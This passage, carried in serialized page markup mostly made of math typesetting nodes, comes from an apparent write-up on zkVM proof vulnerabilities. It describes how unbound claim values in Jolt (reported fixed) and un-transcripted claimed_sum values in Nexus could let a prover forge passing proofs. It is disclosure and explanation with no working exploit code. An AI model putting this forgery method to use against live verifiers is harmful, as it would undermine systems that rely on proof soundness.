argin-left:-0.0715em;margin-right:0.05em;",[117576,117580],{"type":24,"tag":158,"props":117577,"children":117579},{"className":117578,"style":5711},[5710],[],{"type":24,"tag":158,"props":117581,"children":117583},{"className":117582},[5716,5717,5718,5719],[117584],{"type":24,"tag":158,"props":117585,"children":117587},{"className":117586},[5669,5719],[117588],{"type":24,"tag":158,"props":117589,"children":117591},{"className":117590},[5669,29,5719],[117592],{"type":24,"tag":158,"props":117593,"children":117595},{"className":117594},[5669,5719],[117596],{"type":29,"value":117597},"final",{"type":24,"tag":158,"props":117599,"children":117601},{"className":117600},[22989],[117602],{"type":29,"value":22992},{"type":24,"tag":158,"props":117604,"children":117606},{"className":117605},[5696],[117607],{"type":24,"tag":158,"props":117608,"children":117610},{"className":117609,"style":94408},[5701],[117611],{"type":24,"tag":158,"props":117612,"children":117613},{},[],{"type":24,"tag":158,"props":117615,"children":117617},{"className":117616,"style":5848},[5750],[],{"type":24,"tag":158,"props":117619,"children":117621},{"className":117620},[5853],[117622],{"type":29,"value":1285},{"type":24,"tag":158,"props":117624,"children":117626},{"className":117625,"style":5848},[5750],[],{"type":24,"tag":158,"props":117628,"children":117630},{"className":117629},[5658],[117631,117635,117640,117644,117649],{"type":24,"tag":158,"props":117632,"children":117634},{"className":117633,"style":116408},[5663],[],{"type":24,"tag":158,"props":117636,"children":117638},{"className":117637},[5669,22832],[117639],{"type":29,"value":101},{"type":24,"tag":158,"props":117641,"children":117643},{"className":117642,"style":5751},[5750],[],{"type":24,"tag":158,"props":117645,"children":117647},{"className":117646},[5756],[117648],{"type":29,"value":112587},{"type":24,"tag":158,"props":117650,"children":117652},{"className":117651,"style":5751},[5750],[],{"type":24,"tag":158,"props":117654,"children":117656},{"className":117655},[5658],[117657,117661,117666,117670,117675],{"type":24,"tag":158,"props":117658,"children":117660},{"className":117659,"style":116437},[5663],[],{"type":24,"tag":158,"props":117662,"children":117664},{"className":117663,"style":94559},[5669,22832],[117665],{"type":29,"value":94562},{"type":24,"tag":158,"props":117667,"children":117669},{"className":117668,"style":5751},[5750],[],{"type":24,"tag":158,"props":117671,"children":117673},{"className":117672},[5756],[117674],{"type":29,"value":728},{"type":24,"tag":158,"props":117676,"children":117678},{"className":117677,"style":5751},[5750],[],{"type":24,"tag":158,"props":117680,"children":117682},{"className":117681},[5658],[117683,117687],{"type":24,"tag":158,"props":117684,"children":117686},{"className":117685,"style":94240},[5663],[],{"type":24,"tag":158,"props":117688,"children":117690},{"className":117689},[5669,22832],[117691],{"type":29,"value":741},{"type":24,"tag":25,"props":117693,"children":117694},{},[117695,117696,117735,117737,117762,117764,117894,117896,118017],{"type":29,"value":117161},{"type":24,"tag":154,"props":117697,"children":117699},{"className":117698},[5642,5643],[117700],{"type":24,"tag":158,"props":117701,"children":117703},{"className":117702},[5648],[117704],{"type":24,"tag":158,"props":117705,"children":117707},{"className":117706,"ariaHidden":3185},[5653],[117708],{"type":24,"tag":158,"props":117709,"children":117711},{"className":117710},[5658],[117712,117716,117721,117726,117730],{"type":24,"tag":158,"props":117713,"children":117715},{"className":117714,"style":116380},[5663],[],{"type":24,"tag":158,"props":117717,"children":117719},{"className":117718},[5669,22832],[117720],{"type":29,"value":101},{"type":24,"tag":158,"props":117722,"children":117724},{"className":117723},[5782],[117725],{"type":29,"value":5785},{"type":24,"tag":158,"props":117727,"children":117729},{"className":117728,"style":5789},[5750],[],{"type":24,"tag":158,"props":117731,"children":117733},{"className":117732},[5669,22832],[117734],{"type":29,"value":741},{"type":29,"value":117736}," are determined by the transcript (independent of ",{"type":24,"tag":154,"props":117738,"children":117740},{"className":117739},[5642,5643],[117741],{"type":24,"tag":158,"props":117742,"children":117744},{"className":117743},[5648],[117745],{"type":24,"tag":158,"props":117746,"children":117748},{"className":117747,"ariaHidden":3185},[5653],[117749],{"type":24,"tag":158,"props":117750,"children":117752},{"className":117751},[5658],[117753,117757],{"type":24,"tag":158,"props":117754,"children":117756},{"className":117755,"style":22827},[5663],[],{"type":24,"tag":158,"props":117758,"children":117760},{"className":117759,"style":94559},[5669,22832],[117761],{"type":29,"value":94562},{"type":29,"value":117763},"). The verifier checks that ",{"type":24,"tag":154,"props":117765,"children":117767},{"className":117766},[5642,5643],[117768],{"type":24,"tag":158,"props":117769,"children":117771},{"className":117770},[5648],[117772],{"type":24,"tag":158,"props":117773,"children":117775},{"className":117774,"ariaHidden":3185},[5653],[117776,117862],{"type":24,"tag":158,"props":117777,"children":117779},{"className":117778},[5658],[117780,117784,117849,117853,117858],{"type":24,"tag":158,"props":117781,"children":117783},{"className":117782,"style":112322},[5663],[],{"type":24,"tag":158,"props":117785,"children":117787},{"className":117786},[5669],[117788,117793],{"type":24,"tag":158,"props":117789,"children":117791},{"className":117790,"style":23364},[5669,22832],[117792],{"type":29,"value":117554},{"type":24,"tag":158,"props":117794,"children":117796},{"className":117795},[5686],[117797],{"type":24,"tag":158,"props":117798,"children":117800},{"className":117799},[5691,22886],[117801,117838],{"type":24,"tag":158,"props":117802,"children":117804},{"className":117803},[5696],[117805,117833],{"type":24,"tag":158,"props":117806,"children":117808},{"className":117807,"style":117570},[5701],[117809],{"type":24,"tag":158,"props":117810,"children":117811},{"style":117574},[117812,117816],{"type":24,"tag":158,"props":117813,"children":117815},{"className":117814,"style":5711},[5710],[],{"type":24,"tag":158,"props":117817,"children":117819},{"className":117818},[5716,5717,5718,5719],[117820],{"type":24,"tag":158,"props":117821,"children":117823},{"className":117822},[5669,5719],[117824],{"type":24,"tag":158,"props":117825,"children":117827},{"className":117826},[5669,29,5719],[117828],{"type":24,"tag":158,"props":117829,"children":117831},{"className":117830},[5669,5719],[117832],{"type":29,"value":117597},{"type":24,"tag":158,"props":117834,"children":117836},{"className":117835},[22989],[117837],{"type":29,"value":22992},{"type":24,"tag":158,"props":117839,"children":117841},{"className":117840},[5696],[117842],{"type":24,"tag":158,"props":117843,"children":117845},{"className":117844,"style":94408},[5701],[117846],{"type":24,"tag":158,"props":117847,"children":117848},{},[],{"type":24,"tag":158,"props":117850,"children":117852},{"className":117851,"style":5848},[5750],[],{"type":24,"tag":158,"props":117854,"children":117856},{"className":117855},[5853],[117857],{"type":29,"value":1285},{"type":24,"tag":158,"props":117859,"children":117861},{"className":117860,"style":5848},[5750],[],{"type":24,"tag":158,"props":117863,"children":117865},{"className":117864},[5658],[117866,117870,117880,117885],{"type":24,"tag":158,"props":117867,"children":117869},{"className":117868,"style":95738},[5663],[],{"type":24,"tag":158,"props":117871,"children":117873},{"className":117872},[5669,29],[117874],{"type":24,"tag":158,"props":117875,"children":117877},{"className":117876},[5669],[117878],{"type":29,"value":117879},"expected",{"type":24,"tag":158,"props":117881,"children":117883},{"className":117882,"style":94325},[5669],[117884],{"type":29,"value":4750},{"type":24,"tag":158,"props":117886,"children":117888},{"className":117887},[5669,29],[117889],{"type":24,"tag":158,"props":117890,"children":117892},{"className":117891},[5669],[117893],{"type":29,"value":38812},{"type":29,"value":117895}," (from PCS opening), this becomes ",{"type":24,"tag":154,"props":117897,"children":117899},{"className":117898},[5642,5643],[117900],{"type":24,"tag":158,"props":117901,"children":117903},{"className":117902},[5648],[117904],{"type":24,"tag":158,"props":117905,"children":117907},{"className":117906,"ariaHidden":3185},[5653],[117908,117934,117960,117986],{"type":24,"tag":158,"props":117909,"children":117911},{"className":117910},[5658],[117912,117916,117921,117925,117930],{"type":24,"tag":158,"props":117913,"children":117915},{"className":117914,"style":116408},[5663],[],{"type":24,"tag":158,"props":117917,"children":117919},{"className":117918},[5669,22832],[117920],{"type":29,"value":101},{"type":24,"tag":158,"props":117922,"children":117924},{"className":117923,"style":5751},[5750],[],{"type":24,"tag":158,"props":117926,"children":117928},{"className":117927},[5756],[117929],{"type":29,"value":112587},{"type":24,"tag":158,"props":117931,"children":117933},{"className":117932,"style":5751},[5750],[],{"type":24,"tag":158,"props":117935,"children":117937},{"className":117936},[5658],[117938,117942,117947,117951,117956],{"type":24,"tag":158,"props":117939,"children":117941},{"className":117940,"style":116437},[5663],[],{"type":24,"tag":158,"props":117943,"children":117945},{"className":117944,"style":94559},[5669,22832],[117946],{"type":29,"value":94562},{"type":24,"tag":158,"props":117948,"children":117950},{"className":117949,"style":5751},[5750],[],{"type":24,"tag":158,"props":117952,"children":117954},{"className":117953},[5756],[117955],{"type":29,"value":728},{"type":24,"tag":158,"props":117957,"children":117959},{"className":117958,"style":5751},[5750],[],{"type":24,"tag":158,"props":117961,"children":117963},{"className":117962},[5658],[117964,117968,117973,117977,117982],{"type":24,"tag":158,"props":117965,"children":117967},{"className":117966,"style":94240},[5663],[],{"type":24,"tag":158,"props":117969,"children":117971},{"className":117970},[5669,22832],[117972],{"type":29,"value":741},{"type":24,"tag":158,"props":117974,"children":117976},{"className":117975,"style":5848},[5750],[],{"type":24,"tag":158,"props":117978,"children":117980},{"className":117979},[5853],[117981],{"type":29,"value":1285},{"type":24,"tag":158,"props":117983,"children":117985},{"className":117984,"style":5848},[5750],[],{"type":24,"tag":158,"props":117987,"children":117989},{"className":117988},[5658],[117990,117994,118003,118008],{"type":24,"tag":158,"props":117991,"children":117993},{"className":117992,"style":95738},[5663],[],{"type":24,"tag":158,"props":117995,"children":117997},{"className":117996},[5669,29],[117998],{"type":24,"tag":158,"props":117999,"children":118001},{"className":118000},[5669],[118002],{"type":29,"value":117879},{"type":24,"tag":158,"props":118004,"children":118006},{"className":118005,"style":94325},[5669],[118007],{"type":29,"value":4750},{"type":24,"tag":158,"props":118009,"children":118011},{"className":118010},[5669,29],[118012],{"type":24,"tag":158,"props":118013,"children":118015},{"className":118014},[5669],[118016],{"type":29,"value":38812},{"type":29,"value":347},{"type":24,"tag":25,"props":118019,"children":118020},{},[118021],{"type":29,"value":118022},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":118024,"children":118025},{},[118026],{"type":29,"value":118027},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":118029,"children":118030},{},[118031,118036,118038],{"type":24,"tag":897,"props":118032,"children":118033},{},[118034],{"type":29,"value":118035},"Status:",{"type":29,"value":118037}," Fixed on October 3, 2025 via ",{"type":24,"tag":101,"props":118039,"children":118042},{"href":118040,"rel":118041},"https://github.com/a16z/jolt/pull/981",[105],[118043],{"type":29,"value":118044},"PR #981",{"type":24,"tag":20034,"props":118046,"children":118047},{},[],{"type":24,"tag":395,"props":118049,"children":118051},{"id":118050},"nexus",[118052],{"type":29,"value":109144},{"type":24,"tag":25,"props":118054,"children":118055},{},[118056],{"type":29,"value":118057},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":118059,"children":118060},{},[118061,118063,118068],{"type":29,"value":118062},"Nexus splits verification into ",{"type":24,"tag":897,"props":118064,"children":118065},{},[118066],{"type":29,"value":118067},"components",{"type":29,"value":118069}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":118071,"children":118072},{},[118073,118075,118080],{"type":29,"value":118074},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":154,"props":118076,"children":118078},{"className":118077},[],[118079],{"type":29,"value":116189},{"type":29,"value":118081}," summarizes its net contribution:",{"type":24,"tag":25,"props":118083,"children":118084},{},[118085],{"type":24,"tag":154,"props":118086,"children":118088},{"className":118087},[5642,5643],[118089],{"type":24,"tag":158,"props":118090,"children":118092},{"className":118091},[5648],[118093],{"type":24,"tag":158,"props":118094,"children":118096},{"className":118095,"ariaHidden":3185},[5653],[118097,118193,118442],{"type":24,"tag":158,"props":118098,"children":118100},{"className":118099},[5658],[118101,118105,118114,118119,118180,118184,118189],{"type":24,"tag":158,"props":118102,"children":118104},{"className":118103,"style":95738},[5663],[],{"type":24,"tag":158,"props":118106,"children":118108},{"className":118107},[5669,29],[118109],{"type":24,"tag":158,"props":118110,"children":118112},{"className":118111},[5669],[118113],{"type":29,"value":115418},{"type":24,"tag":158,"props":118115,"children":118117},{"className":118116,"style":94325},[5669],[118118],{"type":29,"value":4750},{"type":24,"tag":158,"props":118120,"children":118122},{"className":118121},[5669],[118123,118132],{"type":24,"tag":158,"props":118124,"children":118126},{"className":118125},[5669,29],[118127],{"type":24,"tag":158,"props":118128,"children":118130},{"className":118129},[5669],[118131],{"type":29,"value":77910},{"type":24,"tag":158,"props":118133,"children":118135},{"className":118134},[5686],[118136],{"type":24,"tag":158,"props":118137,"children":118139},{"className":118138},[5691,22886],[118140,118169],{"type":24,"tag":158,"props":118141,"children":118143},{"className":118142},[5696],[118144,118164],{"type":24,"tag":158,"props":118145,"children":118147},{"className":118146,"style":94854},[5701],[118148],{"type":24,"tag":158,"props":118149,"children":118150},{"style":115455},[118151,118155],{"type":24,"tag":158,"props":118152,"children":118154},{"className":118153,"style":5711},[5710],[],{"type":24,"tag":158,"props":118156,"children":118158},{"className":118157},[5716,5717,5718,5719],[118159],{"type":24,"tag":158,"props":118160,"children":118162},{"className":118161},[5669,22832,5719],[118163],{"type":29,"value":1832},{"type":24,"tag":158,"props":118165,"children":118167},{"className":118166},[22989],[118168],{"type":29,"value":22992},{"type":24,"tag":158,"props":118170,"children":118172},{"className":118171},[5696],[118173],{"type":24,"tag":158,"props":118174,"children":118176},{"className":118175,"style":94408},[5701],[118177],{"type":24,"tag":158,"props":118178,"children":118179},{},[],{"type":24,"tag":158,"props":118181,"children":118183},{"className":118182,"style":5848},[5750],[],{"type":24,"tag":158,"props":118185,"children":118187},{"className":118186},[5853],[118188],{"type":29,"value":1285},{"type":24,"tag":158,"props":118190,"children":118192},{"className":118191,"style":5848},[5750],[],{"type":24,"tag":158,"props":118194,"children":118196},{"className":118195},[5658],[118197,118202,118259,118263,118429,118433,118438],{"type":24,"tag":158,"props":118198,"children":118201},{"className":118199,"style":118200},[5663],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":158,"props":118203,"children":118205},{"className":118204},[22868],[118206,118211],{"type":24,"tag":158,"props":118207,"children":118209},{"className":118208,"style":22875},[22868,22873,22874],[118210],{"type":29,"value":110120},{"type":24,"tag":158,"props":118212,"children":118214},{"className":118213},[5686],[118215],{"type":24,"tag":158,"props":118216,"children":118218},{"className":118217},[5691,22886],[118219,118248],{"type":24,"tag":158,"props":118220,"children":118222},{"className":118221},[5696],[118223,118243],{"type":24,"tag":158,"props":118224,"children":118226},{"className":118225,"style":115532},[5701],[118227],{"type":24,"tag":158,"props":118228,"children":118229},{"style":22899},[118230,118234],{"type":24,"tag":158,"props":118231,"children":118233},{"className":118232,"style":5711},[5710],[],{"type":24,"tag":158,"props":118235,"children":118237},{"className":118236},[5716,5717,5718,5719],[118238],{"type":24,"tag":158,"props":118239,"children":118241},{"className":118240,"style":115548},[5669,22832,5719],[118242],{"type":29,"value":2053},{"type":24,"tag":158,"props":118244,"children":118246},{"className":118245},[22989],[118247],{"type":29,"value":22992},{"type":24,"tag":158,"props":118249,"children":118251},{"className":118250},[5696],[118252],{"type":24,"tag":158,"props":118253,"children":118255},{"className":118254,"style":115563},[5701],[118256],{"type":24,"tag":158,"props":118257,"children":118258},{},[],{"type":24,"tag":158,"props":118260,"children":118262},{"className":118261,"style":5789},[5750],[],{"type":24,"tag":158,"props":118264,"children":118266},{"className":118265},[5669],[118267,118271,118425],{"type":24,"tag":158,"props":118268,"children":118270},{"className":118269},[22961,114843],[],{"type":24,"tag":158,"props":118272,"children":118274},{"className":118273},[114848],[118275],{"type":24,"tag":158,"props":118276,"children":118278},{"className":118277},[5691,22886],[118279,118413],{"type":24,"tag":158,"props":118280,"children":118282},{"className":118281},[5696],[118283,118408],{"type":24,"tag":158,"props":118284,"children":118286},{"className":118285,"style":114861},[5701],[118287,118377,118388],{"type":24,"tag":158,"props":118288,"children":118289},{"style":114865},[118290,118294],{"type":24,"tag":158,"props":118291,"children":118293},{"className":118292,"style":113496},[5710],[],{"type":24,"tag":158,"props":118295,"children":118297},{"className":118296},[5716,5717,5718,5719],[118298],{"type":24,"tag":158,"props":118299,"children":118301},{"className":118300},[5669,5719],[118302,118307,118312],{"type":24,"tag":158,"props":118303,"children":118305},{"className":118304,"style":114882},[5669,22832,5719],[118306],{"type":29,"value":114885},{"type":24,"tag":158,"props":118308,"children":118310},{"className":118309},[5756,5719],[118311],{"type":29,"value":5730},{"type":24,"tag":158,"props":118313,"children":118315},{"className":118314},[5669,5719],[118316,118326],{"type":24,"tag":158,"props":118317,"children":118319},{"className":118318},[5669,29,5719],[118320],{"type":24,"tag":158,"props":118321,"children":118323},{"className":118322},[5669,5719],[118324],{"type":29,"value":118325},"produced",{"type":24,"tag":158,"props":118327,"children":118329},{"className":118328},[5686],[118330],{"type":24,"tag":158,"props":118331,"children":118333},{"className":118332},[5691,22886],[118334,118365],{"type":24,"tag":158,"props":118335,"children":118337},{"className":118336},[5696],[118338,118360],{"type":24,"tag":158,"props":118339,"children":118342},{"className":118340,"style":118341},[5701],"height:0.2052em;",[118343],{"type":24,"tag":158,"props":118344,"children":118346},{"style":118345},"top:-2.2341em;margin-right:0.0714em;",[118347,118351],{"type":24,"tag":158,"props":118348,"children":118350},{"className":118349,"style":110185},[5710],[],{"type":24,"tag":158,"props":118352,"children":118354},{"className":118353},[5716,110190,110191,5719],[118355],{"type":24,"tag":158,"props":118356,"children":118358},{"className":118357,"style":115548},[5669,22832,5719],[118359],{"type":29,"value":2053},{"type":24,"tag":158,"props":118361,"children":118363},{"className":118362},[22989],[118364],{"type":29,"value":22992},{"type":24,"tag":158,"props":118366,"children":118368},{"className":118367},[5696],[118369],{"type":24,"tag":158,"props":118370,"children":118373},{"className":118371,"style":118372},[5701],"height:0.4048em;",[118374],{"type":24,"tag":158,"props":118375,"children":118376},{},[],{"type":24,"tag":158,"props":118378,"children":118379},{"style":114898},[118380,118384],{"type":24,"tag":158,"props":118381,"children":118383},{"className":118382,"style":113496},[5710],[],{"type":24,"tag":158,"props":118385,"children":118387},{"className":118386,"style":114908},[114907],[],{"type":24,"tag":158,"props":118389,"children":118390},{"style":114912},[118391,118395],{"type":24,"tag":158,"props":118392,"children":118394},{"className":118393,"style":113496},[5710],[],{"type":24,"tag":158,"props":118396,"children":118398},{"className":118397},[5716,5717,5718,5719],[118399],{"type":24,"tag":158,"props":118400,"children":118402},{"className":118401},[5669,5719],[118403],{"type":24,"tag":158,"props":118404,"children":118406},{"className":118405},[5669,5719],[118407],{"type":29,"value":5672},{"type":24,"tag":158,"props":118409,"children":118411},{"className":118410},[22989],[118412],{"type":29,"value":22992},{"type":24,"tag":158,"props":118414,"children":118416},{"className":118415},[5696],[118417],{"type":24,"tag":158,"props":118418,"children":118421},{"className":118419,"style":118420},[5701],"height:0.6283em;",[118422],{"type":24,"tag":158,"props":118423,"children":118424},{},[],{"type":24,"tag":158,"props":118426,"children":118428},{"className":118427},[22983,114843],[],{"type":24,"tag":158,"props":118430,"children":118432},{"className":118431,"style":5751},[5750],[],{"type":24,"tag":158,"props":118434,"children":118436},{"className":118435},[5756],[118437],{"type":29,"value":5730},{"type":24,"tag":158,"props":118439,"children":118441},{"className":118440,"style":5751},[5750],[],{"type":24,"tag":158,"props":118443,"children":118445},{"className":118444},[5658],[118446,118450,118507,118511],{"type":24,"tag":158,"props":118447,"children":118449},{"className":118448,"style":115757},[5663],[],{"type":24,"tag":158,"props":118451,"children":118453},{"className":118452},[22868],[118454,118459],{"type":24,"tag":158,"props":118455,"children":118457},{"className":118456,"style":22875},[22868,22873,22874],[118458],{"type":29,"value":110120},{"type":24,"tag":158,"props":118460,"children":118462},{"className":118461},[5686],[118463],{"type":24,"tag":158,"props":118464,"children":118466},{"className":118465},[5691,22886],[118467,118496],{"type":24,"tag":158,"props":118468,"children":118470},{"className":118469},[5696],[118471,118491],{"type":24,"tag":158,"props":118472,"children":118474},{"className":118473,"style":114997},[5701],[118475],{"type":24,"tag":158,"props":118476,"children":118477},{"style":22899},[118478,118482],{"type":24,"tag":158,"props":118479,"children":118481},{"className":118480,"style":5711},[5710],[],{"type":24,"tag":158,"props":118483,"children":118485},{"className":118484},[5716,5717,5718,5719],[118486],{"type":24,"tag":158,"props":118487,"children":118489},{"className":118488,"style":95754},[5669,22832,5719],[118490],{"type":29,"value":89962},{"type":24,"tag":158,"props":118492,"children":118494},{"className":118493},[22989],[118495],{"type":29,"value":22992},{"type":24,"tag":158,"props":118497,"children":118499},{"className":118498},[5696],[118500],{"type":24,"tag":158,"props":118501,"children":118503},{"className":118502,"style":115812},[5701],[118504],{"type":24,"tag":158,"props":118505,"children":118506},{},[],{"type":24,"tag":158,"props":118508,"children":118510},{"className":118509,"style":5789},[5750],[],{"type":24,"tag":158,"props":118512,"children":118514},{"className":118513},[5669],[118515,118519,118669],{"type":24,"tag":158,"props":118516,"children":118518},{"className":118517},[22961,114843],[],{"type":24,"tag":158,"props":118520,"children":118522},{"className":118521},[114848],[118523],{"type":24,"tag":158,"props":118524,"children":118526},{"className":118525},[5691,22886],[118527,118658],{"type":24,"tag":158,"props":118528,"children":118530},{"className":118529},[5696],[118531,118653],{"type":24,"tag":158,"props":118532,"children":118534},{"className":118533,"style":114861},[5701],[118535,118622,118633],{"type":24,"tag":158,"props":118536,"children":118537},{"style":114865},[118538,118542],{"type":24,"tag":158,"props":118539,"children":118541},{"className":118540,"style":113496},[5710],[],{"type":24,"tag":158,"props":118543,"children":118545},{"className":118544},[5716,5717,5718,5719],[118546],{"type":24,"tag":158,"props":118547,"children":118549},{"className":118548},[5669,5719],[118550,118555,118560],{"type":24,"tag":158,"props":118551,"children":118553},{"className":118552,"style":114882},[5669,22832,5719],[118554],{"type":29,"value":114885},{"type":24,"tag":158,"props":118556,"children":118558},{"className":118557},[5756,5719],[118559],{"type":29,"value":5730},{"type":24,"tag":158,"props":118561,"children":118563},{"className":118562},[5669,5719],[118564,118574],{"type":24,"tag":158,"props":118565,"children":118567},{"className":118566},[5669,29,5719],[118568],{"type":24,"tag":158,"props":118569,"children":118571},{"className":118570},[5669,5719],[118572],{"type":29,"value":118573},"consumed",{"type":24,"tag":158,"props":118575,"children":118577},{"className":118576},[5686],[118578],{"type":24,"tag":158,"props":118579,"children":118581},{"className":118580},[5691,22886],[118582,118611],{"type":24,"tag":158,"props":118583,"children":118585},{"className":118584},[5696],[118586,118606],{"type":24,"tag":158,"props":118587,"children":118589},{"className":118588,"style":113657},[5701],[118590],{"type":24,"tag":158,"props":118591,"children":118592},{"style":115902},[118593,118597],{"type":24,"tag":158,"props":118594,"children":118596},{"className":118595,"style":110185},[5710],[],{"type":24,"tag":158,"props":118598,"children":118600},{"className":118599},[5716,110190,110191,5719],[118601],{"type":24,"tag":158,"props":118602,"children":118604},{"className":118603,"style":95754},[5669,22832,5719],[118605],{"type":29,"value":89962},{"type":24,"tag":158,"props":118607,"children":118609},{"className":118608},[22989],[118610],{"type":29,"value":22992},{"type":24,"tag":158,"props":118612,"children":118614},{"className":118613},[5696],[118615],{"type":24,"tag":158,"props":118616,"children":118618},{"className":118617,"style":115929},[5701],[118619],{"type":24,"tag":158,"props":118620,"children":118621},{},[],{"type":24,"tag":158,"props":118623,"children":118624},{"style":114898},[118625,118629],{"type":24,"tag":158,"props":118626,"children":118628},{"className":118627,"style":113496},[5710],[],{"type":24,"tag":158,"props":118630,"children":118632},{"className":118631,"style":114908},[114907],[],{"type":24,"tag":158,"props":118634,"children":118635},{"style":114912},[118636,118640],{"type":24,"tag":158,"props":118637,"children":118639},{"className":118638,"style":113496},[5710],[],{"type":24,"tag":158,"props":118641,"children":118643},{"className":118642},[5716,5717,5718,5719],[118644],{"type":24,"tag":158,"props":118645,"children":118647},{"className":118646},[5669,5719],[118648],{"type":24,"tag":158,"props":118649,"children":118651},{"className":118650},[5669,5719],[118652],{"type":29,"value":5672},{"type":24,"tag":158,"props":118654,"children":118656},{"className":118655},[22989],[118657],{"type":29,"value":22992},{"type":24,"tag":158,"props":118659,"children":118661},{"className":118660},[5696],[118662],{"type":24,"tag":158,"props":118663,"children":118665},{"className":118664,"style":115977},[5701],[118666],{"type":24,"tag":158,"props":118667,"children":118668},{},[],{"type":24,"tag":158,"props":118670,"children":118672},{"className":118671},[22983,114843],[],{"type":24,"tag":25,"props":118674,"children":118675},{},[118676,118678,118683],{"type":29,"value":118677},"All ",{"type":24,"tag":154,"props":118679,"children":118681},{"className":118680},[],[118682],{"type":29,"value":116189},{"type":29,"value":118684}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":118686,"children":118687},{},[118688,118690,118695],{"type":29,"value":118689},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":897,"props":118691,"children":118692},{},[118693],{"type":29,"value":118694},"OODS (Out-of-Domain Sampling)",{"type":29,"value":118696}," test.",{"type":24,"tag":25,"props":118698,"children":118699},{},[118700],{"type":24,"tag":897,"props":118701,"children":118702},{},[118703],{"type":29,"value":116741},{"type":24,"tag":147,"props":118705,"children":118707},{"code":118706},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[118708],{"type":24,"tag":154,"props":118709,"children":118710},{"__ignoreMap":7},[118711],{"type":29,"value":118706},{"type":24,"tag":25,"props":118713,"children":118714},{},[118715,118717,118722],{"type":29,"value":118716},"The",{"type":24,"tag":154,"props":118718,"children":118720},{"className":118719},[],[118721],{"type":29,"value":116189},{"type":29,"value":118723}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":118725,"children":118726},{},[118727],{"type":24,"tag":84,"props":118728,"children":118731},{"alt":118729,"src":118730},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":118733,"children":118734},{},[118735,118737,118746],{"type":29,"value":118736},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":897,"props":118738,"children":118739},{},[118740,118741],{"type":29,"value":113196},{"type":24,"tag":154,"props":118742,"children":118744},{"className":118743},[],[118745],{"type":29,"value":116189},{"type":29,"value":225},{"type":24,"tag":25,"props":118748,"children":118749},{},[118750],{"type":29,"value":118751},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":118753,"children":118754},{},[118755],{"type":24,"tag":154,"props":118756,"children":118758},{"className":118757},[5642,5643],[118759],{"type":24,"tag":158,"props":118760,"children":118762},{"className":118761},[5648],[118763],{"type":24,"tag":158,"props":118764,"children":118766},{"className":118765,"ariaHidden":3185},[5653],[118767,118808,118947],{"type":24,"tag":158,"props":118768,"children":118770},{"className":118769},[5658],[118771,118775,118780,118785,118790,118795,118799,118804],{"type":24,"tag":158,"props":118772,"children":118774},{"className":118773,"style":5771},[5663],[],{"type":24,"tag":158,"props":118776,"children":118778},{"className":118777,"style":23364},[5669,22832],[118779],{"type":29,"value":117554},{"type":24,"tag":158,"props":118781,"children":118783},{"className":118782},[22961],[118784],{"type":29,"value":504},{"type":24,"tag":158,"props":118786,"children":118788},{"className":118787},[5669,22832],[118789],{"type":29,"value":20518},{"type":24,"tag":158,"props":118791,"children":118793},{"className":118792},[22983],[118794],{"type":29,"value":521},{"type":24,"tag":158,"props":118796,"children":118798},{"className":118797,"style":5848},[5750],[],{"type":24,"tag":158,"props":118800,"children":118802},{"className":118801},[5853],[118803],{"type":29,"value":1285},{"type":24,"tag":158,"props":118805,"children":118807},{"className":118806,"style":5848},[5750],[],{"type":24,"tag":158,"props":118809,"children":118811},{"className":118810},[5658],[118812,118816,118873,118877,118934,118938,118943],{"type":24,"tag":158,"props":118813,"children":118815},{"className":118814,"style":116958},[5663],[],{"type":24,"tag":158,"props":118817,"children":118819},{"className":118818},[22868],[118820,118825],{"type":24,"tag":158,"props":118821,"children":118823},{"className":118822,"style":22875},[22868,22873,22874],[118824],{"type":29,"value":110120},{"type":24,"tag":158,"props":118826,"children":118828},{"className":118827},[5686],[118829],{"type":24,"tag":158,"props":118830,"children":118832},{"className":118831},[5691,22886],[118833,118862],{"type":24,"tag":158,"props":118834,"children":118836},{"className":118835},[5696],[118837,118857],{"type":24,"tag":158,"props":118838,"children":118840},{"className":118839,"style":115532},[5701],[118841],{"type":24,"tag":158,"props":118842,"children":118843},{"style":22899},[118844,118848],{"type":24,"tag":158,"props":118845,"children":118847},{"className":118846,"style":5711},[5710],[],{"type":24,"tag":158,"props":118849,"children":118851},{"className":118850},[5716,5717,5718,5719],[118852],{"type":24,"tag":158,"props":118853,"children":118855},{"className":118854},[5669,22832,5719],[118856],{"type":29,"value":1832},{"type":24,"tag":158,"props":118858,"children":118860},{"className":118859},[22989],[118861],{"type":29,"value":22992},{"type":24,"tag":158,"props":118863,"children":118865},{"className":118864},[5696],[118866],{"type":24,"tag":158,"props":118867,"children":118869},{"className":118868,"style":115812},[5701],[118870],{"type":24,"tag":158,"props":118871,"children":118872},{},[],{"type":24,"tag":158,"props":118874,"children":118876},{"className":118875,"style":5789},[5750],[],{"type":24,"tag":158,"props":118878,"children":118880},{"className":118879},[5669],[118881,118886],{"type":24,"tag":158,"props":118882,"children":118884},{"className":118883,"style":116413},[5669,22832],[118885],{"type":29,"value":116416},{"type":24,"tag":158,"props":118887,"children":118889},{"className":118888},[5686],[118890],{"type":24,"tag":158,"props":118891,"children":118893},{"className":118892},[5691,22886],[118894,118923],{"type":24,"tag":158,"props":118895,"children":118897},{"className":118896},[5696],[118898,118918],{"type":24,"tag":158,"props":118899,"children":118901},{"className":118900,"style":94854},[5701],[1189